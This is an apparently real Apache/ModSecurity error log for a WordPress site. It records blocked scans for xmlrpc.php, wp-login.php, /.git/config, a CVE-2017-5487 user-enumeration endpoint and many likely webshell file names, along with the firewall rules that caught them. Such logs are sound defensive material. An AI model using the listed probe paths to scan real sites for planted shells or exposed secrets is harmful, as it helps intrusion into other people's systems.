[Sat Nov 22 18:47:02.630926 2025] [:error] [pid 53566:tid 53588] [client 185.48.182.96:53784] [client 185.48.182.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.48.182.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSGUpsbSHDBkRbwMbd4p7QAAANQ"]
[Sat Nov 22 20:14:11.104230 2025] [:error] [pid 44259:tid 44264] [client 202.61.232.166:44616] [client 202.61.232.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.61.232.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSGpE3Xe1xL-_YOdRmShYQAAAYI"]
[Sat Nov 22 20:14:13.718485 2025] [:error] [pid 9547:tid 9555] [client 202.61.232.166:53964] [client 202.61.232.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.61.232.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSGpFdClOR5qk7DoMeHZmgAAAUI"], referer: http://gigfragments.org/wp-login.php
[Sat Nov 22 20:14:16.072906 2025] [:error] [pid 53566:tid 53572] [client 202.61.232.166:53976] [client 202.61.232.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aSGpGMbSHDBkRbwMbd5HbQAAAMQ"], referer: http://gigfragments.org/wp-login.php
[Sat Nov 22 20:14:17.075080 2025] [:error] [pid 53477:tid 53496] [client 202.61.232.166:53978] [client 202.61.232.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.61.232.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSGpGX7Lu30Ku9O40aLWowAAAA8"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Sat Nov 22 21:40:43.077486 2025] [:error] [pid 53479:tid 53558] [client 209.172.2.100:49666] [client 209.172.2.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.172.2.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSG9W26cicFF3Aas-oTQPwAAAJY"]
[Sun Nov 23 01:24:54.999661 2025] [:error] [pid 39719:tid 39779] [client 216.250.9.2:44398] [client 216.250.9.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.250.9.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSHx5hmP4k0tY5Yex-XEmwAAAQM"]
[Sun Nov 23 01:41:52.191845 2025] [:error] [pid 39713:tid 39729] [client 198.177.120.64:41872] [client 198.177.120.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.177.120.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSH14EUgrb325CIAjPqdBgAAAAg"]
[Sun Nov 23 03:15:12.060696 2025] [:error] [pid 39713:tid 39741] [client 216.126.225.91:40742] [client 216.126.225.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSILwEUgrb325CIAjPq_4AAAABQ"]
[Sun Nov 23 03:27:15.301784 2025] [proxy_fcgi:error] [pid 39719:tid 39786] [client 132.196.92.11:48715] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Sun Nov 23 03:27:15.494595 2025] [:error] [pid 39719:tid 39792] [client 132.196.92.11:48715] [client 132.196.92.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSIOkxmP4k0tY5Yex-X0iQAAARA"], referer: https://www.bing.com/
[Sun Nov 23 03:27:16.517367 2025] [:error] [pid 39713:tid 39725] [client 132.196.92.11:49160] [client 132.196.92.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Text/admin.php"] [unique_id "aSIOlEUgrb325CIAjPrD6wAAAAQ"], referer: https://www.yahoo.com/
[Sun Nov 23 03:27:21.434248 2025] [proxy_fcgi:error] [pid 39713:tid 39725] [client 132.196.92.11:49180] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Nov 23 03:27:27.450109 2025] [:error] [pid 39713:tid 39743] [client 132.196.92.11:49180] [client 132.196.92.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wso112233.php"] [unique_id "aSIOn0Ugrb325CIAjPrEDQAAABY"], referer: https://www.yahoo.com/
[Sun Nov 23 03:27:36.334561 2025] [proxy_fcgi:error] [pid 39719:tid 39793] [client 132.196.92.11:60660] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Nov 23 03:27:41.989354 2025] [:error] [pid 39719:tid 39793] [client 132.196.92.11:60660] [client 132.196.92.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/shell20211028.php"] [unique_id "aSIOrRmP4k0tY5Yex-X0vgAAARE"], referer: https://www.google.com/
[Sun Nov 23 03:27:49.778023 2025] [proxy_fcgi:error] [pid 39718:tid 39767] [client 132.196.92.11:60661] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Sun Nov 23 03:27:55.474913 2025] [:error] [pid 39718:tid 39751] [client 132.196.92.11:60661] [client 132.196.92.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bala.php"] [unique_id "aSIOuwQ3B_uDoeItNmOTcgAAAEI"], referer: https://www.google.com/
[Sun Nov 23 03:28:01.877982 2025] [:error] [pid 39713:tid 39743] [client 132.196.92.11:48767] [client 132.196.92.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/dropdown.php"] [unique_id "aSIOwUUgrb325CIAjPrEJgAAABY"], referer: https://www.google.co.uk/
[Sun Nov 23 03:28:13.043340 2025] [:error] [pid 39942:tid 40009] [client 132.196.92.11:48748] [client 132.196.92.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/repeater.php"] [unique_id "aSIOzaNupsOsQf9D2gyP3QAAAU4"], referer: https://www.google.de/
[Sun Nov 23 03:28:40.279264 2025] [autoindex:error] [pid 39718:tid 39763] [client 132.196.92.11:48759] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Nov 23 03:28:55.277535 2025] [:error] [pid 39718:tid 39762] [client 132.196.92.11:48759] [client 132.196.92.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 132.196.92.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSIO9wQ3B_uDoeItNmOT4gAAAE0"], referer: https://www.google.de/
[Sun Nov 23 03:32:43.185093 2025] [:error] [pid 39719:tid 39797] [client 103.49.70.229:50160] [client 103.49.70.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.49.70.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSIP2xmP4k0tY5Yex-X2SAAAARU"]
[Sun Nov 23 03:49:54.423890 2025] [:error] [pid 13603:tid 13679] [client 69.163.181.218:51548] [client 69.163.181.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.181.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSIT4sGmFEU5DL0QIG2gGwAAAJE"]
[Sun Nov 23 04:01:09.671835 2025] [:error] [pid 56181:tid 56250] [client 103.163.161.30:62778] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aSIWhckLwhNGnt-ns6aTewAAAIk"]
[Sun Nov 23 04:01:09.956872 2025] [:error] [pid 56176:tid 56201] [client 103.163.161.30:62881] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aSIWhbjUOh400lKsKrFWNgAAAA4"]
[Sun Nov 23 04:01:10.240477 2025] [:error] [pid 56275:tid 56280] [client 103.163.161.30:62952] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/style.php"] [unique_id "aSIWhrhaClcAPg7VXOSFHwAAAME"]
[Sun Nov 23 04:01:10.499818 2025] [:error] [pid 56275:tid 56291] [client 103.163.161.30:62992] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/style.php"] [unique_id "aSIWhrhaClcAPg7VXOSFJQAAAMw"]
[Sun Nov 23 04:01:10.772933 2025] [:error] [pid 56178:tid 56216] [client 103.163.161.30:63155] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style.php"] [unique_id "aSIWhpzQAXWPTUeTK1RgfgAAAEI"]
[Sun Nov 23 04:01:11.032097 2025] [:error] [pid 56178:tid 56214] [client 103.163.161.30:63301] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aSIWh5zQAXWPTUeTK1RghQAAAEA"]
[Sun Nov 23 04:01:11.345128 2025] [:error] [pid 56178:tid 56217] [client 103.163.161.30:63405] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aSIWh5zQAXWPTUeTK1RgmQAAAEM"]
[Sun Nov 23 04:01:11.636481 2025] [:error] [pid 56178:tid 56215] [client 103.163.161.30:63568] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aSIWh5zQAXWPTUeTK1RgoQAAAEE"]
[Sun Nov 23 04:01:11.908938 2025] [:error] [pid 56181:tid 56260] [client 103.163.161.30:63657] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aSIWh8kLwhNGnt-ns6aTmwAAAJM"]
[Sun Nov 23 04:01:12.176939 2025] [:error] [pid 56275:tid 56289] [client 103.163.161.30:63739] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aSIWiLhaClcAPg7VXOSFUgAAAMo"]
[Sun Nov 23 04:01:12.428616 2025] [:error] [pid 56178:tid 56235] [client 103.163.161.30:63817] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aSIWiJzQAXWPTUeTK1RgswAAAFU"]
[Sun Nov 23 04:01:12.685733 2025] [:error] [pid 56178:tid 56222] [client 103.163.161.30:63958] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aSIWiJzQAXWPTUeTK1RguwAAAEg"]
[Sun Nov 23 04:01:12.954384 2025] [:error] [pid 56178:tid 56216] [client 103.163.161.30:64076] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aSIWiJzQAXWPTUeTK1RgxwAAAEI"]
[Sun Nov 23 04:01:13.218416 2025] [:error] [pid 56176:tid 56199] [client 103.163.161.30:64125] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSIWibjUOh400lKsKrFWZQAAAAw"]
[Sun Nov 23 04:01:13.471606 2025] [:error] [pid 56176:tid 56187] [client 103.163.161.30:64273] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shelp.php"] [unique_id "aSIWibjUOh400lKsKrFWcAAAAAA"]
[Sun Nov 23 04:01:13.730286 2025] [:error] [pid 56176:tid 56195] [client 103.163.161.30:64457] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aSIWibjUOh400lKsKrFWewAAAAg"]
[Sun Nov 23 04:01:13.989581 2025] [:error] [pid 56178:tid 56221] [client 103.163.161.30:64575] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aSIWiZzQAXWPTUeTK1Rg5gAAAEc"]
[Sun Nov 23 04:01:14.260114 2025] [:error] [pid 56178:tid 56217] [client 103.163.161.30:64730] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSIWipzQAXWPTUeTK1Rg9AAAAEM"]
[Sun Nov 23 04:01:14.508500 2025] [:error] [pid 56178:tid 56221] [client 103.163.161.30:64874] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aSIWipzQAXWPTUeTK1Rg-gAAAEc"]
[Sun Nov 23 04:01:14.755377 2025] [:error] [pid 56275:tid 56279] [client 103.163.161.30:65002] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aSIWirhaClcAPg7VXOSFhgAAAMA"]
[Sun Nov 23 04:01:15.042161 2025] [:error] [pid 56176:tid 56199] [client 103.163.161.30:65187] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/zwso.php"] [unique_id "aSIWi7jUOh400lKsKrFWkQAAAAw"]
[Sun Nov 23 04:01:15.368680 2025] [:error] [pid 56181:tid 56241] [client 103.163.161.30:65378] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "aSIWi8kLwhNGnt-ns6aT4gAAAIA"]
[Sun Nov 23 04:01:15.675498 2025] [:error] [pid 56176:tid 56201] [client 103.163.161.30:49247] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aSIWi7jUOh400lKsKrFWnQAAAA4"]
[Sun Nov 23 04:01:15.934977 2025] [:error] [pid 56176:tid 56192] [client 103.163.161.30:49322] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shlo.php"] [unique_id "aSIWi7jUOh400lKsKrFWpQAAAAU"]
[Sun Nov 23 04:01:16.183995 2025] [:error] [pid 56275:tid 56290] [client 103.163.161.30:49492] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/133.php"] [unique_id "aSIWjLhaClcAPg7VXOSFlAAAAMs"]
[Sun Nov 23 04:01:16.464166 2025] [:error] [pid 56181:tid 56263] [client 103.163.161.30:49575] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aSIWjMkLwhNGnt-ns6aUAAAAAJY"]
[Sun Nov 23 04:01:16.744781 2025] [:error] [pid 56275:tid 56300] [client 103.163.161.30:49755] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/php8.php"] [unique_id "aSIWjLhaClcAPg7VXOSFnAAAANU"]
[Sun Nov 23 04:01:17.011723 2025] [:error] [pid 56178:tid 56229] [client 103.163.161.30:49855] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/lufix1.php"] [unique_id "aSIWjZzQAXWPTUeTK1RhKwAAAE8"]
[Sun Nov 23 04:01:17.280521 2025] [:error] [pid 56176:tid 56209] [client 103.163.161.30:50025] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/witmm.php"] [unique_id "aSIWjbjUOh400lKsKrFWtQAAABY"]
[Sun Nov 23 04:01:17.568856 2025] [:error] [pid 56176:tid 56211] [client 103.163.161.30:50143] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/index.php"] [unique_id "aSIWjbjUOh400lKsKrFWuAAAABg"]
[Sun Nov 23 04:01:17.835612 2025] [:error] [pid 56275:tid 56290] [client 103.163.161.30:50312] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aSIWjbhaClcAPg7VXOSFqwAAAMs"]
[Sun Nov 23 04:01:18.122186 2025] [:error] [pid 56181:tid 56257] [client 103.163.161.30:50521] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aSIWjskLwhNGnt-ns6aUSgAAAJA"]
[Sun Nov 23 04:01:18.392017 2025] [:error] [pid 56181:tid 56263] [client 103.163.161.30:50720] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aSIWjskLwhNGnt-ns6aUVwAAAJY"]
